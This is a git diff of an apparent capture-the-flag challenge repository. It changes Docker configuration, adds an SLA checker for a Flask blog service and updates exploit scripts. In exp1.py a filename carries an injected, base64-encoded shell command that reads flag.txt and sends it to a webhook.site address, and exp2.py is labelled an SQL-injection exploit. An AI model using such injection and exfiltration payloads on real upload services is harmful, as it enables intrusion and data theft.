zWZ}(>{3?TpBZ;OXo@2Fs#!q$jkc?k#O8*>V>bcMs$%ACPfada^NO^6Aj>JA|T)JL4 znbePVCIn>9*kQc$va4?Z(Z?y|{S#Dj7fVXa%X2})`T*6&A9StlRAQ8WLqag=L0m$liIoz0a0PqY*|ex8f_^@ zH~ssSbde-N2dO1ulw1pQT}KFH`|y=Mx}keXQ|NQV9Uo)Qcmvh1{}~z8ubu>_VHa>hAGvjZ+bF3#$3o)B5Sv?i>kzjPr|`b%=$af zd|!E7mL4ZPzgDTd&LfuGUX`ER;PgGvuPrpwG<~Je_2Avm71}8A{Hf`s{r`n>}px znk@R$ej+;!4mkn=R1a`h{6rS%Gh6K9?c`|f;Kt-?^$D)&%(lY6{K5FD!as1?gg?Q3 z+E(Z+g%P!GWogvaOCJLZBOs;EI36PvNeL6t=1j?2IlYup`heCF(7D$g8hX0T93kIz zE?e94dnvgjJg7d4jb9s%o*Qgt$MTVBs%In&>xqBGGrIOaIJ4$ez-|g(4LVM2cHd=? zQtEvLv+5$!)TAWdf11bIS2ux8;GW|2DI-*EW4`t-vx=Ph4xDqNnD&G# zu2dSR?j*E0Ky^NoxzlTNOn0%HH;D24s)h!ji@X9w06S;?a`=NuCBHVTk>KYyzC(GCl=4_3uM|NoRi!C) z2$_h5I92!ZCpQM;{PyS)`>AkcjE-U^BSA_x@5k zYl)8W3_P^B69rAPU~uPCf1-a22AKf?e6kuR{X`$Z+QHh*(9DF%)%jl%ZSGeG+P`r3 zpyL&n89SSyo8pc%jL#_L1%rsgX(H|ADfG7k>Gt`7<*#2HgNM~y@M`F|8 zhZG4GR1GchEzgEmB<%sRNYL!qKdMyk=Y;;a8V6!pz5R4KA4eyg&HK*%D!#$+)g-r9 zm2z68NG0e7RUcNDDg@*_r^sLwaJ0))^<=C;D(6|DdpJd_5alw?kc=CRA&C*^B#$@D zUs87|*V#tDWzz3CfE$)s-T4cy=Wf(X{r8Aq(D|@Dm;Y7y$J%`VRd+ s+4N6LsGpM4G(YbnEbAj5$$t;P{XY-o^9+4*`hU(4d1`!tfPw`4AMO;bk^lez literal 0 HcmV?d00001 diff --git a/services/blogpost/docker-compose.yml b/services/blogpost/docker-compose.yml index 9f739a5..4d72738 100644 --- a/services/blogpost/docker-compose.yml +++ b/services/blogpost/docker-compose.yml @@ -1,10 +1,14 @@ -version: '3.8' services: - blogpost: - build: . + blogpost_service: container_name: blogpost_container + hostname: blogpost + restart: always + build: + context: . + args: + - PASSWORD=root ports: - - "10000:8000" + - "4400:8000" + - "4422:22" environment: - - FLASK_ENV=production - command: ["/app/entrypoint.sh"] + - FLAG=GEMASTIK{fake_flag} \ No newline at end of file diff --git a/services/blogpost/entrypoint.sh b/services/blogpost/entrypoint.sh deleted file mode 100644 index a7c990f..0000000 --- a/services/blogpost/entrypoint.sh +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/env bash -set -e - -FLAG_SHA=$(head -c 64 /dev/urandom | sha256sum | awk '{print $1}') -FLAG="GEMASTIK{${FLAG_SHA}}" -echo "$FLAG" > /app/flag.txt -chmod 400 /app/flag.txt - -mkdir -p /app/uploads -mkdir -p /data - -DBFILE=/data/app.db -if [ ! -f "$DBFILE" ]; then - echo "Initializing database..." - sqlite3 $DBFILE < /app/init_db.sql -fi - -echo "Starting Flask app (port 8000)..." -export FLASK_APP=/app/app.py -export FLASK_ENV=production - -python /app/app.py diff --git a/services/blogpost/exploits/exp1.py b/services/blogpost/exploits/exp1.py index 3ec8605..3b9552a 100644 --- a/services/blogpost/exploits/exp1.py +++ b/services/blogpost/exploits/exp1.py @@ -4,7 +4,7 @@ from pathlib import Path import random import string -HOST = "http://localhost:4413" +HOST = "http://localhost:4400" REGISTER_URL = HOST + "/register" LOGIN_URL = HOST + "/login" CREATE_URL = HOST + "/create" @@ -19,7 +19,7 @@ def generate_random_string(length=8): USERNAME = generate_random_string() PASSWORD = generate_random_string() # choose payload variant: either use subshell $() or backticks `...` -filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS8yNjcxZjg2Zi0xN2U4LTRiNDQtODFkYS00YWQ2ZDUyMTA0OWQnLCBkYXRhPW9wZW4oJ2ZsYWcudHh0JywgJ3JiJykucmVhZCgpKSI=' | base64 -d | bash;#.jpg" +filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS9hMmJlOTU2NS0zZGZhLTRjZmEtODAyYy01NDk4NTI5ZTViMGYnLCBkYXRhPW9wZW4oJy9mbGFnLnR4dCcsICdyYicpLnJlYWQoKSki=' | base64 -d | bash;#.jpg" # choose which to use: filename_payload = filename_payload # or payload_backticks diff --git a/services/blogpost/exploits/exp2.py b/services/blogpost/exploits/exp2.py index ddfa362..af3b4ad 100644 --- a/services/blogpost/exploits/exp2.py +++ b/services/blogpost/exploits/exp2.py @@ -7,7 +7,7 @@ from pathlib import Path print("SQLi (VULN 2) Exploit") -HOST = "http://localhost:4413" +HOST = "http://localhost:4400" REGISTER_URL = HOST + "/register" LOGIN_URL = HOST + "/login" CREATE_URL = HOST + "/create" diff --git a/services/blogpost/exploits/sqli.png b/services/blogpost/exploits/sqli.png index c41aa3503f527a237b706ef30d98f669a394fce3..26e0a924b006f1879c692b4dd6d027b35ab95448 100644 GIT binary patch delta 91 zcmbQR$bP~i`wams0=b5!S$W1e#_HC(x-ma>Gnx}v+7nn9ftU%1nSmI@X9Z$5AZ7<* b4j|?PVlE)&24Wr{<^^KD?FlUW8_oa#=u#Q# delta 91 zcmbQR$bP~i`wams0(k~z, uploads at /uploads/ + """ + flag_location = 'flags/webapp.txt' # Host copy (used by your orchestrator) + history_location = 'history/webapp.txt' + container_flag_path = '/app/flag.txt' + container_name = 'chal_app' # <-- set to your actual container name + + # Heuristics to recognize ExifTool output + _exif_markers = ( + 'ExifTool Version Number', + 'File Name', + 'File Size', + 'MIME Type', + 'File Type', + ) + + def _make_logger(self): + if not hasattr(self, 'logger') or self.logger is None: + self.logger = logging.getLogger(self.__class__.__name__) + if not self.logger.handlers: + h = logging.StreamHandler() + h.setFormatter(logging.Formatter('[%(levelname)s] %(message)s')) + self.logger.addHandler(h) + self.logger.setLevel(logging.INFO) + + # --- Flag distribution hook (optional, mirrors your example) --- + def distribute(self, flag: str) -> bool: + """ + Writes/records the current flag on the host. Your infra may separately + mount/copy it into the container; this class *also* verifies existence + inside the container during .check(). + """ + self._make_logger() + try: + with open(self.flag_location, 'w') as f: + f.write(flag) + with open(self.history_location, 'a') as f: + f.write(flag + '\n') + self.logger.info(f"Flag '{flag}' written to {self.flag_location}") + return True + except Exception as e: + self.logger.error(f"Failed writing host flag: {e}") + return False + + # --- Helpers --- + def _gen_username(self) -> str: + return "user_" + ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) + + def _gen_password(self) -> str: + return "Pw!" + ''.join(random.choices(string.ascii_letters + string.digits, k=10)) + + def _tiny_png_bytes(self) -> bytes: + """ + Generate a minimal valid PNG in-memory to trigger exiftool. + """ + img = Image.new("RGB", (2, 2), (123, 200, 50)) + buf = io.BytesIO() + img.save(buf, format="PNG") + return buf.getvalue() + + def _docker_exec(self, args: list[str], timeout: int = 10) -> subprocess.CompletedProcess: + """ + Run `docker exec` into the challenge container. + """ + return subprocess.run( + ["docker", "exec", self.container_name] + args, + capture_output=True, + text=True, + timeout=timeout + ) + + # --- SLA core --- + def check(self) -> bool: + self._make_logger() + base_url = f"http://localhost:{self.port}" + s = requests.Session() + + # 0) Liveness: login page should be reachable (no auth needed) + login_url = base_url + "/login" + self.logger.info(f"[1/7] Checking liveness at {login_url} ...") + try: + r = s.get(login_url, timeout=10) + assert r.status_code == 200, f"Login page HTTP {r.status_code}" + self.logger.info(" ✓ Login page reachable") + except Exception as e: + self.logger.error(f" ✗ Liveness check failed: {e}") + return False + + # 1) Register a fresh user + self.logger.info("[2/7] Registering a fresh user ...") + username = self._gen_username() + password = self._gen_password() + try: + r = s.post( + base_url + "/register", + data={"username": username, "password": password}, + allow_redirects=False, + timeout=10, + ) + # Flask typically redirects to /login on success (302) + assert r.status_code in (200, 302, 303), f"Register HTTP {r.status_code}" + self.logger.info(f" ✓ Registered as {username}") + except Exception as e: + self.logger.error(f" ✗ Registration failed: {e}") + return False + + # 2) Log in + self.logger.info("[3/7] Logging in ...") + try: + r = s.post( + base_url + "/login", + data={"username": username, "password": password}, + allow_redirects=True, + timeout=10, + ) + # Successful login should redirect or render index; ensure not bounced back to /login with "Invalid credentials" + assert r.status_code == 200, f"Login HTTP {r.status_code}" + assert "/login" not in r.url or "Invalid credentials" not in r.text + self.logger.info(" ✓ Logged in") + except Exception as e: + self.logger.error(f" ✗ Login failed: {e}") + return False + + # 3) Create post with image upload (PNG) to trigger exiftool + DB write + self.logger.info("[4/7] Creating a post with image upload ...") + title = "SLA Post " + ''.join(random.choices(string.ascii_letters, k=6)) + content = "hello_from_sla_checker" + png_bytes = self._tiny_png_bytes() + files = { + "image": ("probe.png", png_bytes, "image/png") + } + data = {"title": title, "content": content} + try: + r = s.post(base_url + "/create", files=files, data=data, allow_redirects=True, timeout=20) + assert r.status_code == 200, f"Create returned HTTP {r.status_code}" + self.logger.info(" ✓ Post created") + except Exception as e: + self.logger.error(f" ✗ Create post failed: {e}") + return False + + # 4) Discover the newly created post id by scraping links like /post/ from index + self.logger.info("[5/7] Resolving new post id from index ...") + try: + r = s.get(base_url + "/", timeout=10) + assert r.status_code == 200, f"Index HTTP {r.status_code}" + # Find the most recent /post/ that likely corresponds to our post title + # First try to find blocks containing our title then pull an id: + post_id: Optional[int] = None + # Prefer links sitting near our title + title_blocks = [m.start() for m in re.finditer(re.escape(title), r.text)] + if title_blocks: + # Search backward/forward around the title occurrences for a /post/ link + for pos in title_blocks: + window = r.text[max(0, pos-1000):pos+1000] + m = re.search(r'/post/(\d+)', window) + if m: + post_id = int(m.group(1)) + break + # Fallback: pick the first /post/ in the page + if post_id is None: + m = re.search(r'/post/(\d+)', r.text) + assert m, "No /post/ link found on index" + post_id = int(m.group(1)) + + self.logger.info(f" ✓ Resolved post id = {post_id}") + except Exception as e: + self.logger.error(f" ✗ Could not resolve post id: {e}") + return False + + # 5) Visit the post page, confirm it renders and contains our title/content. + self.logger.info("[6/7] Visiting the post page ...") + try: + vp = s.get(base_url + f"/post/{post_id}", timeout=10) + assert vp.status_code == 200, f"Post page HTTP {vp.status_code}" + assert title in vp.text, "Post title not present on view page" + assert content in vp.text, "Post content not present on view page" + self.logger.info(" ✓ Post page renders with our content") + except Exception as e: + self.logger.error(f" ✗ View post failed: {e}") + return False + + # 6) Locate the uploaded file link on the post page, then fetch the .meta file via /uploads/.meta + self.logger.info("[7/7] Verifying ExifTool metadata persisted & accessible ...") + try: + # Find something like /uploads/.png (or .jpg/.jpeg/.bmp) + m = re.search(r'/uploads/([A-Za-z0-9_.-]+\.(?:png|jpg|jpeg|bmp))', vp.text, flags=re.IGNORECASE) + assert m, "No uploaded image link found on post page" + image_name = m.group(1) + # The server stores metadata in a sibling file with .meta suffix; it is served by the same /uploads route. + meta_url = base_url + f"/uploads/{image_name}.meta" + mr = s.get(meta_url, timeout=10) + assert mr.status_code == 200, f"Meta file HTTP {mr.status_code}" + meta_text = mr.text.strip() + # Heuristic: expect at least one ExifTool-like marker + assert any(tag in meta_text for tag in self._exif_markers), "Meta file does not look like ExifTool output" + self.logger.info(" ✓ Exif metadata present and readable") + except Exception as e: + self.logger.error(f" ✗ Metadata verification failed: {e}") + return False + + # 7) Flag existence in container (do not fail SLA if only host copy exists but container is missing—treat as warning or policy-driven) + try: + proc = self._docker_exec(["/bin/sh", "-lc", f"test -f {self.container_flag_path} && cat {self.container_flag_path} || echo __MISSING__"]) + out = (proc.stdout or "").strip() + if "__MISSING__" in out or proc.returncode not in (0,): + self.logger.warning("⚠ Flag file missing inside container") + else: + self.logger.info(" ✓ Container flag present") + # Optional: compare with host flag if present + try: + with open(self.flag_location, "r") as f: + host_flag = f.read().strip() + if host_flag and host_flag == out: + self.logger.info(" ✓ Host and container flags match") + else: + self.logger.warning("⚠ Host/container flag mismatch (may be expected if rotated separately)") + except FileNotFoundError: + self.logger.warning("⚠ Host flag not found; skipping comparison") + except Exception as e: + # Non-fatal: you can tune this to fail the round if flag is mandatory. + self.logger.warning(f"Flag existence check encountered an issue: {e}") + + self.logger.info("SLA check passed ✅") + return True diff --git a/services/cdn/dist/cdn.rar b/services/cdn/dist/cdn.rar new file mode 100644 index 0000000000000000000000000000000000000000..749be0a0bd28e800ab8426bb820fd29414063913 GIT binary patch literal 7556 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ë^@SM;!U zWERw_)P-1BF;l9EM?=$9p^kzy9q#ZXInKc3AvMlI7bXw)xd`aa&S6t@q&WOivH^Z z@9D9}-SU>roa2&)>&uY~%F9T$v=W>0M$X#&!|?86_!XhGVo`0HNNh;IZYtLz0}ON~ z0JsAH5tGlqhJnVgur;+bc7Z_5|7p4H7d|4Dz&MWv62sFY!lwS(h(=eG$ldR`#VnGL4kDq@fK}o_-Ls(dhZZkS)yl~ z$>Oy9y+5JV5lb;?Zk3pk0|Nd7VoX$Ob!26Wz7H}FylkI%af4MZJ_0(2M}}HYVrI6` z6ynGeLWfa~S2*qEc7CYA&)g;5FerzUPbd!2!LudCEDAY=>H{|Fa8Q)~&;(utMRd$` z5Un=_VTkCt?PBzk;kD=f@yXpXuZW1s8}KCjhc2pDF*EnqX0GXT_c#`4HdWkZ59sq) zqq<(kBX7uI9O2;MaA0dsq<^-Muzz%WLK*t^@v|h?V50mt0QLWKBv{N+mDqn{qEdiD eum6of{%6qlcY}Ep+UoZAE3ZAY)esPYaQ^|G%Jw4w literal 0 HcmV?d00001 diff --git a/services/cdn/Dockerfile b/services/cdn/src/Dockerfile similarity index 100% rename from services/cdn/Dockerfile rename to services/cdn/src/Dockerfile diff --git a/services/cdn/app.py b/services/cdn/src/app.py similarity index 100% rename from services/cdn/app.py rename to services/cdn/src/app.py diff --git a/services/cdn/docker-compose.yml b/services/cdn/src/docker-compose.yml similarity index 100% rename from services/cdn/docker-compose.yml rename to services/cdn/src/docker-compose.yml diff --git a/services/cdn/entrypoint.sh b/services/cdn/src/entrypoint.sh similarity index 100% rename from services/cdn/entrypoint.sh rename to services/cdn/src/entrypoint.sh diff --git a/services/cdn/flag_seed.py b/services/cdn/src/flag_seed.py similarity index 100% rename from services/cdn/flag_seed.py rename to services/cdn/src/flag_seed.py diff --git a/services/cdn/requirements.txt b/services/cdn/src/requirements.txt similarity index 100% rename from services/cdn/requirements.txt rename to services/cdn/src/requirements.txt diff --git a/services/cdn/static/style.css b/services/cdn/src/static/style.css similarity index 100% rename from services/cdn/static/style.css rename to services/cdn/src/static/style.css diff --git a/services/cdn/templates/base.html b/services/cdn/src/templates/base.html similarity index 100% rename from services/cdn/templates/base.html rename to services/cdn/src/templates/base.html diff --git a/services/cdn/templates/gallery.html b/services/cdn/src/templates/gallery.html similarity index 100% rename from services/cdn/templates/gallery.html rename to services/cdn/src/templates/gallery.html diff --git a/services/cdn/templates/login.html b/services/cdn/src/templates/login.html similarity index 100% rename from services/cdn/templates/login.html rename to services/cdn/src/templates/login.html diff --git a/services/cdn/templates/register.html b/services/cdn/src/templates/register.html similarity index 100% rename from services/cdn/templates/register.html rename to services/cdn/src/templates/register.html diff --git a/services/cdn/templates/upload.html b/services/cdn/src/templates/upload.html similarity index 100% rename from services/cdn/templates/upload.html rename to services/cdn/src/templates/upload.html diff --git a/services/cdn/templates/view_post.html b/services/cdn/src/templates/view_post.html similarity index 100% rename from services/cdn/templates/view_post.html rename to services/cdn/src/templates/view_post.html